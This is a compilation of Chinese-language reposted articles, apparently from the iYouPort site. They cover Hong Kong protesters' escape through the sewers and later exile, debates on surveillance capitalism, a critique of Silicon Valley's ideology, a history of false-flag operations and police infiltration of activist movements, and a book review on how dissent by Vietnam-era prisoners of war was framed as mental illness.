Dave 和他的潜水员们准备好装备后，乘船来到香港体育馆附近的波涛汹涌的水域，那里是 Cantopop 音乐会的举办地。他们拿到了由渠务署绘制的详细地下地图。他们带着潜水装备和氧气瓶跳入水中。
During a recent diving expedition, Dave holds a reel of diving thread, similar to what he used in the escape from Poly U. REUTERS/Staff

Dave 和他的潜水伙伴们帮忙规划的路线，从火葬场下面到九龙著名的观音庙附近的窨井盖，在暴雨过后，可以听到地下水哗哗地流。

这座有百年历史的庙宇，香火缭绕，挂着画有老虎的灯笼，供奉的是观音菩萨。寺庙建于1873年英国统治初期，在第二次世界大战期间的日军轰炸中幸存下来。它被认为是一个奇迹的地方，也是在一个半世纪的变化中保存下来的中国传统。

「图」

During the standoff at Poly U, some protesters escaped in the city’s

sewers. REUTERS/Adnan Abidi

“如果你知道怎么走，出去的路很容易”，Dave 说。“但如果没有地图，它就是一个可怕的迷宫。”

在网友后来公布的下水道系统的照片中，当抗议者们用一根红色的攀爬绳连接起来时，水面已经齐颈高了。荧光棒将光线投射在布满蟑螂的墙壁上。

Dave 估计，这次任务通过他和他的团队帮助侦察的逃生路线，拯救了数百名抗议者。那些从下水道逃出来的人跳进了等在那里的汽车。

有人认为，理大围城事件隐喻了现在整个城市在国安法下的情况：人们被困在里面，外面的人试图来营救。

Dave 是个爱笑的男人，喜欢喝苏格兰单一麦芽威士忌，他代表了香港一大批普通的中产阶级专业人士，他们越来越多地与带头运动的年轻一代保持一致。虽然远没有那么引人注目，但这些拥有财富和技能的年长者却有可能因为协助抗议者而被捕。Dave 说，他为这场运动花费了大量资金，包括为抗议者提供医疗服务。

Dave 认为，运动越来越激进，现在很多人选择转入地下，在精神和后勤上为更多的大规模抗议活动做好准备，或者，有可能走上更暴力的道路。他说自己随时都可以离开香港，但他不会离开，尽管气氛越来越黑暗。他希望坚持民主运动，虽然他认为现实很残酷。

“香港已经变成了一座监狱。没有人可以出去。我们都被困住了”，他说。“即使那些出去的人也被困在自己的思想里，因为这个城市被困住了”。

“我们已经变得像一个巨大的理工大学。”A protester in Taipei, Taiwan, holds a poster during a rally in October calling on China to release 12 Hong Kongers arrested at sea by mainland authorities. REUTERS/Ann Wang

流放

在理大对峙期间被捕的28岁的 Eli 还记得抗议活动改变她的那一刻。

那是去年6月12日，警察正在向和平抗议者发射催泪瓦斯，他们的手臂、甚至有时包括脖子都被保鲜膜包裹着，以保护自己不被烧伤。当她把安全护目镜、水、头盔和雨伞等物资送到前线时，内心有什么东

西猛然一动。

在一个月后的一次抗议活动中，她从人行道上捡起一块砖头，打算把它扔向防暴警察。但她却把它拿在手里几个小时，最后把它扔进了一个垃圾箱。

“当我拿着一块砖头时，我觉得好重。我不知道该不该扔”，她说。“我只知道，从那晚开始我明白了。如果我手里有武器，我就能保护自己和他人。”

理工大学围堵事件发生后，Eli 被控暴动罪，最高面临10年监禁。3月，她逃离香港前往加拿大，担心自己可能被控其他罪名。

她对家人隐瞒了自己的计划，她说家人都是亲北京的人，以为她只是出国旅游学习。她还留下了她的男朋友。她说，在机场，她非常紧张，因为担心海关官员可能会发现她准备的在加拿大寻求政治庇护的文件。

“我没有什么感觉，直到飞机起飞。我开始哭了。起初，我觉得松了一口气。但我也意识到，我再也没有机会回香港了。” 她在一个加密的应用程序上打了两个小时的电话，告诉路透社，“我觉得我已经抛弃了我的亲人。”

患有心脏瓣膜缺陷的 Eli 仍然被离开的内疚感所困扰。她说，有一次，她的男友从噩梦中醒来，给她打电话。她试图安慰他，但他大发雷霆。

“‘你怕什么？你已经离开了”，男友告诉她。“他说的话让我很受伤。……他后来道歉了，知道自己说错了话，但这也是一个残酷的事实。”

到了加拿大后， Eli 终于有时间从前线的创伤经历中恢复过来。在医生的建议下，她每天都会尝试着散步来缓解压力。

但她的 iPhone 上却被一连串的坏消息冲击着。其他活动人士已经流亡，有些人坐飞机，有些人坐快艇。有些人在逃亡中被抓获，包括**12**名逃亡的活动家被中国海岸警卫队拦截，并被单独关押在大陆的监狱中，无法与家人、朋友和家人指定的律师联系。

不过，Eli 还是投入到香港的宣传工作中，帮助组织集会，设计抗议艺术：这些小动作让西方对香港的关注得以持续。

同期流亡的其他活动人士在其他国家也做了同样的工作，包括台湾、英国、美国和澳大利亚，形成了一条国际抗争战线，追随中国其他动荡地区，包括西藏和新疆的抗争战线。

“对香港人来说，如果不付出沉重的代价，就没有抵抗”，她说。“我觉得香港人要像水一样，努力寻找可以继续抵抗的缝隙 …… 我在异国他乡继续这一抗争。”Prince Wong, second from right, decided to run in now-cancelled legislative council elections to become the face and voice for anonymous protesters. REUTERS/Lam Yik

未来

黄子悦是一位坚定的抗议者，2019年几乎参加了所有的示威活动。2019年11月18日午夜，在理大对峙期间她被捕了。

在油麻地，一个靠近校园的区域。网上有人急切地呼吁增援，拯救被困在里面的人。一辆警车鸣着警笛，突然向示威者疾驰而来，引起了一阵骚动。她试图逃跑，但被一名警察强壮的臂膀压住，并被逮捕。

“我的人生规划被打乱了，受到暴动案的影响很大。我随时可能被关进监狱。我被这个政权推到了边缘”，她说。

被捕后她患上了抑郁症。当她的一些在其他抗议活动中被捕的朋友们知道后，他们鼓励她一起去香港的山丘、山谷、岛屿和海岸等野外远足。她开始疗伤，反思自己还能做些什么。

“我想利用自己的处境做更多的事，多发声，所以我开始考虑参选。”Prince Wong, then a teenager, spoke about her commitment to pro-democracy activism back in 2015. REUTERS/Tyrone Siu

她决定参加现已被取消的立法会选举，成为匿名抗议者的代言人。

“参加选举从来都不是我的最终目标”，黄说，“我想延续抗议活动的势头。这是一个媒介，可以继续我的角色，或者为那些可能无法露面的人发声。”Prince Wong, right, Isabella Lo, left, and student leader Joshua Wong staged a hunger strike in the 2014 “umbrella movement” protests. REUTERS/Bobby Yip

“老人家常说，我们这一代人要活得足够长，才能看到一个民主的香港”，她在雨伞运动时说，“但我也不至于天真到完全相信民主会在我们这个时代发生。”

5年后的今天，她依然有同样的感觉，只是肩上多了一份责任，要在香港民主运动最黑暗的时候传递光明。

“我不会因为现在不能实现而感到沮丧。你的行动会对下一代产生影响，也许他们会知道答案。” ○

📌 最后，这里有4本书，来自香港反抗者的推荐，希望它们也能给中国的反抗者带来力量—— 正如我们在2019年的对话中所强调的，香港的自由不是香港人自己努力就能实现的。您知道为什么。

4本书在这里下载：https://www.patreon.com/posts/4ben-shu-tui-gei-44989210

Democracy darkens: For Hong Kong activists, year of despair and dread

原文

监视资本主义的解毒剂是什么 - iYouPort

免费书和纪录片监视资本主义的世界

如何应对监视资本主义的威胁？究竟有没有办法解决这场全球性的人权危机？

「图」

「图」

单一国家能否应对监管资本主义的威胁？

我们正在独自努力应对监视资本主义的影响。今天的企业很自然地使用大数据来跟踪和预测我们的行为。然而，他们所使用的工具（Facebook，Apple，亚马逊，Netflix 和谷歌）代表着垄断的威胁，政府理当应该解决这些垄断威胁，但具有讽刺意味的是，正是政府在追求这些巨头提供的大数据以针对全民进行监视。

Phillippe Gouamba 提出了最悲观的观点，他认为监视资本主义的解毒剂根本不存在。他写道：“如果你的竞争对手使用监视资本主义，你也只能被迫使用它，如果你认为在5G、智能手机和监视资本主义时代你可以“fly under the radar（偷偷飞人敌军领地）”，你就是在愚弄自己。” 他认为没有回头路了。

David Wittenberg 表示问题的根源在于我们的立场。“无论企业了解我们多少，他们都不能向我们出售我们不想要的东西，除非他们的产品让我们的生活更美好。他们收集的任何信息都是我们自愿提供的。”他写道。

George Yurieff 这样说：“如果你担心自己的隐私，并希望以某种方式保护自己，开始为你想要使用的服务付费…停止使用互联网发布（直接发送给你的收件人），放弃 Facebook，不要提供正确的敏感信息……不针对任何特定的人。俗话说得好，世界上’唯一免费的东西是老鼠夹子上的奶酪。’“

政府被认为是监视资本主义本身的一种“解毒剂”，与此同时它也可以以前所未有的能力对公民进行压制。Roger Stirling 说，作为一种解毒剂，“就像标准石油公司这样的大型巨头公司也能被西奥多·罗斯福总统击败。他们就是当时的科技巨头。然而，今天人们的愤怒在哪？“

他说，Facebook 应该被打破。 Wildebeest 宣称，“最好的方法是通过反托拉斯运动打破这些大公司……但只有当我们这些人有意愿与谷歌、**Facebook**、亚马逊等公司进行对抗时，才会发生这种情况。”

另一方面，Wildebeest 说，“最值得担心的是政府与监视资本家公司的勾结—— 所有这些都是以所谓的’安全’为名。”

“我更担心政府如何使用数据而非企业如何使用数据……如果政权减少或放弃对个人公民自由的承诺，那么同样的监视能力（用于打击恐怖主义的技术）会直接转向对公民的致命威胁。”

Asher Rospigliosi 提出了一种更广泛的监管方法。“我只能看到政府间的监管有足够的力量来提供一些遏制监督资本主义的希望。当工业资本主义得到缓和时……我们生活在一个民族国家仍然拥有很多自治权的世界里……面对全球性公司，我们需要欧盟、联合国、也许在一些更光明的未来—UFP（全球联盟），可以站起来反击 FAANGs。”

他的评论提出了一个问题：单一国家可以应对监视资本主义的威胁吗？你怎么看？

乔治·奥威尔在其1984中描绘了这一反乌托邦图景，描述了极权主义政府对人类行为的最终控制，对人类思想和行为的支配取代了人类的希望、情感甚至关系。

在最近的著作《监视资本主义的时代：在新的权力前沿中为人类的未来而战》一书中，作者 Shoshana Zuboff 认为监视资本主义的危险就在我们中间—— 不仅有政府而且是实行监视资本主义的商业机构。

她将监视资本主义视为“一种新的经济秩序，该秩序宣称人类经验是隐藏的商业实践，可供提取、预测和销售的免费原材料”，“寄生经济逻辑”，“以财富集中为标志的资本主义的流氓突变， 是二十一世纪对人性的重大威胁，就如工业资本主义对十九世纪和二十世纪的自然世界构成的威胁，并剥夺了人权”。

在丰富的、有据可查的资本主义发展历史背景下，这本书既是一份完

整的论述，也是对反抗的呼唤。

监控资本家对我们来说很熟悉。他们包括谷歌和 Facebook 等组织的创始人和领导者。他们的商业模式主要围绕交换伪装的“免费”服务，诱使人们真正免费提供有关自己的私密信息，这些信息与其他数据合并而销售。

正如 Zuboff 所说，“我们的生活被刮取并被出售，以资助他们的自由和对我们的征服，他们知道一切，而我们对他们一无所知”。

Zuboff 认为“数字梦想的暗淡”始于谷歌作为“监视资本主义先驱”的成立，这可以被称为一个天真的全球环境，使其能够捕捉和组织世界上大部分的信息完全免费，吸引那些毫无戒心的用户。

我们现在知道（当时可能知道，但选择忽略它）我们搜索的产品并不是免费的。它们为确定我们的兴趣、潜在的购买行为、甚至是怀孕的首选方法，提供了基础。随着5G无线网络和云技术的出现，广告商和其他人都可以预测我们未来的行为，通常在我们自己意识到自己的选择之前。从预测行为到思想控制、和行为控制—— 从用户作为客户到用户作为产品，这只是一小步。

正如 Zuboff 所说，对任何形式的极权主义的最佳防御是“确认和驯服”。她的书就是确认这一性质的工程。她认为应该由我们每个人、我们的孩子和他们的孩子来做驯服的工作。正如她所说的那样，“我们应该重新燃起对我们所采取的行为的愤慨和失落感。”这引发了一些问题：如何做？然后呢？

能想到的监视资本主义的第一个解药是政府。欧洲各国政府和法院正试图控制谷歌如何使用我们的信息。主要目标是保护隐私。不幸的是，正如我们在 Facebook 争议中看到的那样，即使是善意的商业领导人也很难实现。

其他人建议采用市场方法。他们描述了一个未来，其中对我们为监视资本主义从业者提供的信息赋予了价值。如果需要购买个人信息，那么它就会改变商业模式，要求从业者在清理用户每天免费提供的每一点信息之前要三思而后行。今天存在一个黑客间的信息市场，其中包含有关我们的各种信息的价值。问题仍然是如何在个人和合法企业之间建立这种信息的市场。

在完美的世界中，谷歌和 Facebook 这类巨头将实施保护措施，防止其输出用于降低隐私、信息可靠性、独立思考和用户行为。股东们将

向前发展，要求改变信息的部署方式，以确保其公司业务模式的长期可行性和盈利能力。但也许我们不应该指望它。

作为个人，我们可以控制自己的行为和新技术的使用，甚至可以避开监视资本家的视线。但是以什么价格实现？

最后，最有可能的是，监视资本主义的最终解毒剂是监视资本主义本身。正如 Zuboff 所说，“镀金时代成功教导了人们关于他们不想要什么样的生活….. 而监视资本主义时代将会遇到同样的命运，因为它教给我们的是我们不想如何生活。”

监视资本主义的解毒剂究竟是什么？这个问题你怎么看？〇

What’s the Antidote to Surveillance Capitalism? SUMMING UP: As companies increasingly build business models around our personal data, what can be done to fight back? James Heskett’s readers suggest there are no easy answers.

原文

硅谷正在以其阴险的意识形态破坏民主 - iYouPort

免费书和纪录片监视资本主义的世界

硅谷有一个黑暗面，它不希望你知道。 一直以来它隐瞒得相当好，你一无所知。事实上，如果你仅仅相信故事的一面，你就会真的认为硅谷是人类文明的顶峰。但是太阳并没有均匀地照射到整个硅谷，一旦你冒险进入阴影区，就会发现个非常不同的画面。

《 A People’s History of Silicon Valley：科技产业如何利用工人、侵蚀隐私和破坏民主》，这本书的作者是科技作家和文化评论家 Keith A. Spencer，引导读者走进这个阴影区。他提出了一个争论，为什么硅谷的核心是一个高度剥削和有问题的行业，它传播的不仅是其技术，而且还传播其极其危险的意识形态。

Keith A. Spencer：关于硅谷的事实是，它不仅仅是像伦敦或希腊那样的地方—它也有点空灵。“硅谷”一词已成为科技行业的代名词—而不仅仅是 Santa Clara Valley。因此，撰写这本书的原因在于，我必须涵盖科技行业如何影响全球人生活的事实。例如，当美国的优步公司里某些人改变了一点点算法，孟买的优步司机就会受到明显的影响；或者，如果 Facebook 突然改变了您在时间轴上能看到的内容的方式，那么约翰内斯堡的一家小型家族企业可能就会突然被减少客户数量。

因此，少数工程师和首席执行官在硅谷做出的决定和选择会对整个世界产生影响，有时可能会在一夜之间彻底影响或破坏人们的生活。通过重写管理它们的算法，少数富人可以如此突然而迅速地操纵全世界人们的生活—这是非常不民主的。

所以这本书试图写出一个双重历史，既有关于硅谷居民的—不仅仅是工人，还有硅谷的技术影响日常生活的方式—同时也讲述了更大的故事。

实际上有很多嬉皮士认为计算机是革命性的机器，它们会以某种方式解放我们。后来，互联网也为很多人增强了这种感觉。有人认为，如

果我们将计算机联网在一起，它就能成为反独裁和自由的网络，我们都可以在没有任何政府或公司控制权参与的情况下进行沟通—— 我们将会完全被这些机器解放。但事实上正相反。

技术乌托邦式的品牌，这就是“ Randian 英雄进化的想法”，它是塑造硅谷的基础神话之一。

我们认为技术行业或硅谷固有的许多东西实际上是由公共资金创造的。互联网的很多基础是由五角大楼的国防高级研究计划局（DARPA）创建的。同样，iPhone 中的大量技术都是用公共资金创建的。但是 iPhone 和互联网的那些部分并没有像苹果或微软的专利那样获得专利。因此，美国政府基本上只是将这些技术用于私人利润。

- 如上，关联具体解释：《互联网究竟是什么？》

其中一个最令人震惊的例子是 GPS [全球定位系统]。想想用 GPS 创造了多少财富：优步，Lyft，谷歌地图，苹果地图—如果没有 GPS，它们就不可能存在，或者更确切地说，它们可能以低级形式存在，仅基于您附近的 Wi-Fi 网络和小区网络，他们的准确性会降低。 GPS 允许您的手机或计算机知道您哪儿，准确到几英尺内的位置，这些都是来自政府卫星。美国政府花费了数十亿美元来筹集资金。当科技公司使用它们来制造这些产品时，即使纳税人资助它们，它们也不会支付任何回馈。

这似乎与新兴的科技商业模式紧密相关，尤其是像优步这样的平台应用程序，它们实际上只是从其他人的劳动力中赚钱。但它作为技术创新销售。他们在公共关系方面确实非常有效。

…… 这些小东西，我们认为是如此惊人的设施—它们实际上是一个控制系统的一部分，使他们的员工想永远留在工作中，不一定想回家，甚至不需要回家，这就是有时被称为“金手铐”效应的东西。

硅谷的大多数员工正在被雇主剥削剩余劳动力，就像任何其他标准的营利性公司一样。但在硅谷，白领员工往往与其他员工无关，他们与 CEO 有关。他们认为任何人都可以成为首席执行官和创始人，只要足够努力。因此，他们通常不会与其他受剥削的工人和员工建立联系，而更多的是与拥有所有这些技巧和系统的老板建立联系，允许老板尽可能多地从自己身上榨取利润。而他们认为这值得。

- 如上，关联这篇文章（见文中的第二部分“富士康：孤独的僵

尸”，这里解释为什么剥削性企业天长地久却无人反抗）《百忧解时代（三）令人沉迷的广义化自杀》

Silicon Valley has a dark side, and it doesn't want you to know about it. So far, it's done a pretty decent job of keeping it from you. In fact, if you were to believe its side of the story, you'd truly think that Silicon Valley was the pinnacle of human civilization. But the sun doesn't shine evenly into this valley, and a very different picture begins to emerge once you venture out into the shadows. In A People's History of Silicon Valley: How the Tech Industry Exploits Workers, Erodes Privacy and Undermines Democracy, tech writer and cultural critic Keith A. Spencer guides readers on a journey through the shadows

原文

秘密行动 - iyouport

免费书和纪录片

【 2019年6月28日存档】不仅军方会进行秘密行动，警察也是如此。众所周知的就是他们对抗议者和政治运动的渗透。这些秘密行动是如何运作的？

> *“History isn’t like that. History unravels gently, like an old sweater. It has been patched and darned many times, reknitted to suit different people, shoved in a box under the sink of censorship to be cut up for the dusters of propaganda, yet it always—eventually—manages to spring back into its old familar shape. History has a habit of changing the people who think they are changing it. History always has a few tricks up its frayed sleeve. It’s been around a long time.” ~ Terry Pratchett, Mort*

秘密行动是如何运作的？事实上80%的操作是拿破仑曾经使用过的策略的复制。场景规划、系统理论的支持应用、博弈论、战争游戏理论、以及许多其他实践性战略思想和战略执行的模式也被使用。

以下这些“古老的已知”行动是很好的案例研究，可以用于在秘密行动、心理战和宣传中实现80%的复制。

希姆莱行动——

希姆勒行动是党卫队为了在战争爆发时为纳粹德国的具体宣传目标服务而进行的一系列非常规秘密行动。它的目的是为了证明波兰对德国的入侵是对德国的侵略。该行动中最知名的是 Gleiwitz 事件。

而且有说服力的说法是，纳粹焚烧了他们自己的议会，即国会大厦，并把责任推在别人身上。德国国会大厦的火灾是分水岭事件，证明了希特勒夺取权力和终结自由的开端。

Mainila的轰击——

1939年11月26日，Mainila 的炮击事件是一起军事事件，苏联红军炮击了俄罗斯的 Mainila 村，宣布袭击来自芬兰，横跨附近的边境并声称人员损失。苏联领导人尼基塔·赫鲁晓夫以书面形式承认，1939年是苏联红军炮击了俄罗斯的 Mainila 村，作为四天后发动冬季战争的基础。

Gladio——

格拉迪奥是冷战期间欧洲臭名昭著的秘密行动，在九十年代，一个秘密武器藏匿、军事战略和政治阴谋的故事。秘密战争中描述了一系列事件：格拉迪奥行动和北约的驻军后卫。

总理安德烈奥蒂承认，格拉迪奥已发展成为一个广泛的网络分支，在北约内部运作，并在1956年美国与意大利秘密机构之间的协议中受到怂恿。

德国、法国、比利时、荷兰、希腊和卢森堡都承认他们维持了格拉迪奥式的网络，以准备游击队员在华沙条约入侵的条件下突击行动。许多人的代号为 Stay Behind。在希腊，它被命名为 Red Sheepskin。

根据当时的新闻报道，此类行动也存在于英国，挪威，葡萄牙，西班牙，奥地利，土耳其和丹麦，甚至还存在于瑞士和瑞典等中立国家。

1956年与美国机构达成协议的目的是确保西方最大的意大利共产党不能在政府中站稳脚跟。在意大利秘密机构和新法西斯主义者之间存在长期的联系，并且在70年代震撼意大利的主要未解决的恐怖主义行为都被认为是极右翼主导的，而肇事者从未被抓到过。

在一些国家，Stay Behind 网络已经被关闭。希腊的社会主义者说，他们在1981年发现了该网络后来废除了它，并在1985年抄查了武器。在法国，密特朗说他取消了法国分部，但他没有说什么时候取消的。显然，大多数其他欧洲国家的秘密行动网络仍在继续。

Lavon 事件——

在埃及活动的一个以色列恐怖主义小组在包括美国外交设施在内的几座建筑物中埋下了炸弹，然后留下了“证据”，暗示阿拉伯人是罪魁祸首。其中一枚炸弹过早引爆，以便“判定”肇事者。几名以色列人后来供认，其中三人后来被以色列人尊敬。

中情局在伊朗——

由纽约时报记录，为C.I.A.工作的伊朗人在1950年代发动爆炸事件，冒充共产党人所为，以使该国反对民主选举产生的总统。

Northwoods 行动——

解密文件显示，在20世纪60年代，美国参谋长联席会议签署了代号为“诺斯伍德行动”的计划，以炸毁美国飞机，并以“在美国土地上实施恐怖主义行为”的名义归咎于古巴人，以证明入侵古巴是正当的。由于肯尼迪政府拒绝执行五角大楼的这些计划，因此没有进行这项行动。

Macmillan 支持叙利亚暗杀阴谋——

在伊拉克战争将近50年之前，英国和美国又在另一个阿拉伯国家寻求秘密的“政权更迭”，他们被指控通过策划入侵叙利亚和暗杀领导人来传播恐怖主义并威胁西方的石油供应。

文件显示，1957年哈罗德麦克米伦和总统德怀特艾森豪威尔批准了一项中央情报局—军情六处的计划，将假边境事件作为叙利亚入侵亲西方邻国的借口，然后“消灭”大马士革最有影响力的三巨头。

部分“首选计划”内容如下：“为了促进解放力量的行动，降低叙利亚政权组织和指挥其军事行动的能力，将损失和破坏降至最低，并在尽可能短的时间内取得预期成果，应作出特别努力以消除某些关键人物。他们的撤职应该在起义和干预的早期完成。“

——警察渗透持不同政见的运动——

不仅军方会进行秘密行动，警察也是如此。众所周知的就是他们对抗议者和政治运动的渗透。

在英国，付费的线人——

由于70年代和80年代的糟糕时期，当系统失去信誉并且皇家检察院拒绝接触任何向警方告密的案件时，规则已经收紧。 [...] “2000年调查权力法”对“线人”的使用进行了监督。在公共当局授权使用隐蔽来源的情况下，该法案的规定适用于苏格兰。

2009年，在英格兰，一位气候变化活动家录制了证据，揭露了一些当局的线人被提供现金以获取有关团体成员和活动的私密信息。

在录音带中，警察声称已经渗透到一些环保组织内部，并表示他们正在接收有关未来示威的领导者身份、战术和计划的信息。活动人员也受到广泛的监视。

在苏格兰信息专员作出裁决后，斯特拉斯克莱德警方被迫公布了向“隐蔽的线人”支付款项的细节，详细情况显示该部队自2004年以来每年支付给线人的金额几乎翻了一倍，当时是145,198英镑，2004年至2008年共支付了762,459英镑。

煽动——

在抗议期间，G20警察“使用卧底线人煽动人群”，这类现象并不意外。煽动就是为了栽赃，以证明镇压的合理性。

卧底监视——

Xmas gifts at all cost: 苏格兰场已经部署了秘密警察来监视一个民间活跃人士的关系网络，这些活动家反逃税的热门宣传活动有可能在圣诞节期间关闭数百家商店。尽管去年向议会保证只有穿着制服的军官在抗议活动中收集情报，但是，负责监视的便衣最初还是在10月的抗议活动中被使用了。

European network of police infiltration: 没人知道的是，尽管这位33岁的“自由登山者” Kennedy 非常著名，但他还是一名卧底警察，一直在大胆的行动，深度渗透环保活动家群体。“战术”甚至包括滥交行为。

2011年，第三名卧底警察间谍被揭露，更多关于 Kennedy 在欧洲抗议运动中的关键作用的细节也出现了。显然，他还在爱尔兰、德国和冰岛担任卧底线人。他可能已经要求公关公司 Max Clifford 出售他的故事。

Blacklisting case：2015年3月，建筑工会 UCATT 暴露了警察的渗透，并于2014年12月2日提出了 FOI 请求。但是响应被不断推迟……2月20日，警方表示他们“无需确认或否认是否提供被要求的信息“，并列举了为什么他们无法透露包括所谓的“国家安全”在内的六方面信息 。 简称：滥用法律的狡辩。

CIA 的间谍工具包是数字化的——

在过去十年中，受过专门训练的 CIA 秘密运营商已经安装了一百多个非常敏感的black bag，旨在渗透外国政府和军事通信和计算机系统，

以及一些世界上最大的外国跨国公司的计算机系统。

间谍软件已秘密植入计算机服务器; 安全电话线已被窃听; 光纤电缆、数据交换中心和电话交换机已被挖掘; 在这些操作中，计算机备份磁带和磁盘被盗或被秘密复制。

换句话说，中央情报局建立秘密监视巨型网络的工具现在已被投入公众视野。美国情报界的消息来源证实，自9/11以来，中央情报局的秘密行动使国家安全局能够进入世界各地的极其重要的目标（不知道在美国的土地上是否也有这样的行动）

- 以上文字的链接部分显示相关故事的更详细报道* 关于卧底监视，推荐以下资料：
- Resisting Surveillance: it's not just about the metadata
- The Undercover Research Project aims to create an one-stop resource on political policing and undercover surveillance http://undercoverresearch.net/
- The Campaign Opposing Police Surveillance exists to help co-ordinate, publicise and support the quest for justice for people affected by political undercover police spying and to ensure such abuses do not continue http://campaignopposingpolicesurveillance.com/
- Spied Upon is an upcoming documentary film showing the side of the story of those targeted by secret police, while revealing at a human scale today's complex international spying apparatus, a system that has spun out of control. We are currently fundraising for final shooting and completion of a rough cut in late 2015 http://spiedupon.com/
- Verfassungsschutz abschaffen! http://www.verfassung-schuetzen.de/wissen/verfassungsschutz-abschaffen/

还有一本书：@War: The rise of the military-internet-complex http://cryptome.org/2014/11/at-war-mil-net-complex.pdf

- 25 Most Top Secret Military Operations In History
- The War You Don't See
- Undercover police officer: 'How I spied on the Stephen Lawrence campaign' http://www.theguardian.com/uk/video/2013/jun/24/undercover-police-stephen-lawrence-video
- 'Why police recruited me to infiltrate the British National

party' http://www.theguardian.com/uk-news/video/2014/jun/23/police-recruit-infiltrated-undercover-british-national-party-bnp-video
- Counter-Intelligence: I—The Company
- Counter-Intelligence: II—The Deep State
- Counter-Intelligence: III—The Strategy of Tension
- Counter-Intelligence: IV—Necrophilous
- Counter-Intelligence: V—Drone Nation

在中国从来没有看到过对卧底监视如此详尽的揭露证据。希望以上内容能帮助中国的积极人士参考，关于：什么是证据、和如何拿到证据。〇

原文

背叛主流？精神病院欢迎你：被病理化的异议 - iyouport

免费书和纪录片

"我是绝对正确的。如果你反对我，只能说明你有病，你的精神不正常了" ……

强大的叙事矩阵将不同意见抹黑为 “个人问题”、“疾病”、“不正常状态”、“需要被干预”，以恐吓那些担心自己被视为 “精神病” 而遭到鄙视的人，让他们闭嘴。这不是任何新闻，相反，它有着久远的历史。但是，病理化异议的资料中，有一部分故事始终被遮盖着。

“异议是精神健康出问题的表现”，这种可怕的主流说法在最奇怪的地方出现了。

苏联政委曾经对抗议者使用了这种说法，他们把抗议者打包送进精神病院，那主要是在1970年代。这种虐待行为随后得到了西方媒体的大量关注，它们在巨大的声讨中把它描绘成残酷的共产主义极权主义的更多证据。但为什么在民主国家，类似的事也在发生，尽管可能更微妙。在这里，异议被抹黑为 “是源于创伤性压力或神经官能症” 的叙事在越南战争结束时得到了普遍的认同。

那时候，持异议观点的战俘被遣返 —— 回到一个不愿意听到他们对战争有任何批评态度的国家。相反，企业媒体、政客和军事大佬们将这些抗议者病理化，暗示他们是弱者，被折磨得支持北越；或者，他们 “被洗脑了”—— 据说这是共产党人最擅长的事。“创伤” 这个词被广泛使用，而容纳这些抗议者的异议观点的 “适当场所” 被认为是精神病医生的办公室。

- 在持反战立场的人越来越多的当下，这种状况有什么改变吗？更多见《以阿富汗为镜，全球背景下的塔利班胜利》

汤姆·威尔伯和杰里·伦布克最近出版的一本新书《持不同意见的战俘》抨击了这种认为抗议是病态的无稽之谈，详细介绍了自20世纪70年代末以来这种垃圾叙事如何充斥着公共话语。

这本书宣布了它的目标：恢复“战俘人口中反战声音的记录，使之得到适当的突出”。这其中的一个重要部分是消除将异议抹黑为精神疾病的行为，这使得有关方面能够扼杀任何对战争的批评 —— 那些批评是基于政治和道德，而不是情感上的衰弱。这类抹黑的主要利益方是军方，但还有政府的其他部门以及作为录音机的媒体。

作者写道：“对异议的心理学化叙事，反过来，成为将大兵、老兵和战俘拒绝战争的立场病理化背景故事。或者，正如他们在其他地方所写的那样：为什么要惩罚那些可以被诋毁、被污名化为心理问题的行为？”事实上，这种污名化的效果非常好，以至于军方可以放弃惩罚参与反战行动的士兵 —— 军方非常重视这些行动，以至于这本书援引作者克雷格·豪威斯 (Craig Howes)的话说，**1972**年**4**月，北越监狱的一名高级军官（**SRO**）“发出了允许杀死战俘同伴的许可，只要某人对美国的忠诚度受到怀疑，就可允许被杀死。”

军方高层准备好了，甚至非常赞赏惩罚持异议观点的战俘的行为。但是，一名反战战俘阿贝尔·拉里·卡瓦诺（Abel Larry Kavanaugh）在1973年自杀了，这“为起诉反战活动家的努力 …… 踩下了刹车”。另一位持异议观点的战俘在谈到这次自杀事件时说：“我认为，他所做的是试图将压力从我们身上转移到军队身上。他为我们所有人献出了自己的生命”。但卡瓦诺的自杀还有其他意想不到的后果。它“将范式从’糟糕’转移到’疯狂’，从小人物转变为受害者”。

所谓的意志薄弱的士兵会屈服于共产主义洗脑的想法可以追溯到朝鲜战争时期和关于这一主题的经典电影《谍网迷魂 (The Manchurian Candidate)》，该电影根据1959年出版的同名书籍改编。这些美国士兵被认为在某种程度上有精神缺陷的概念，“是在朝鲜战争结束后的几年里产生的想法，以解释为什么一些美国士兵发表声明谴责战争，甚至考虑留在 …… 俘虏他们的人身边”。

这本书描述了那位好莱坞电影制作人是如何忽视了关于战俘意识到战争罪恶的故事。新闻界也是如此。甚至所谓的新左派也对参与反战抗议的老兵嗤之以鼻，他们声称：“反战老兵不是反战运动的宠儿，冬兵调查会上的吹哨人已经成为反战运动的宠儿”；还声称，大多数战俘是飞行员，这意味着他们“曾经对越南人做过很恶劣的事”，因此，他们的道德水平是值得怀疑的。而且还有其他问题。“SDS是新左派的核心组成部分 ……它的诞生源于对主导其老左派前身美国共产党的共产党人的不满，而这些共产党人正是因为在其组织内实施精神控制而被公开谩骂”。因此，当美国左派与战俘和俘虏他们的人会面时，他们“对两者都感到怀疑”。

【注：“冬兵调查”是1971年1月31日至1971年2月2日由越战退伍军人组织的一次媒体活动。它旨在宣传美国武装部队及其盟友在越南战争中犯下的战争罪行和暴行。VVAW通过展示越南的军事政策和战争罪之间的直接关系，对战争的道德和行为提出了挑战。在密歇根州的底特律市举行了为期三天的109名退伍军人和16名平民的聚会。】

作者展示了将异议病理化是如何为一致性主流叙事的有毒杂草的茁壮成长清除了一个空间。到20世纪70年代末，“越南老兵在电影和新闻报道中通常被描绘成战争的牺牲品，他们在后方被出卖，他们的归国之情被忘却和谴责。对战俘的描述也遵循类似的路径 …… 异议被描述为创伤，而不是政治立场和良知，以恐吓那些尚在职的抵抗者”。

因此，战俘异议的核心，即 战争是邪恶的、犯罪的和无偿的，可以很方便地被扫到地毯下并被忽略。士兵对上级军官的暴力行为的抵抗被掩盖了，没有任何报道。也没有报道北越监狱中对**SRO**的公开反抗，这种反抗在**20**世纪**70**年代初已经很普遍了。战俘们自己也因为所谓的“造成他们直言不讳的创伤” 而受到同情。精神健康的虚假叙事取代了暗示真正的反战情绪的任何东西。

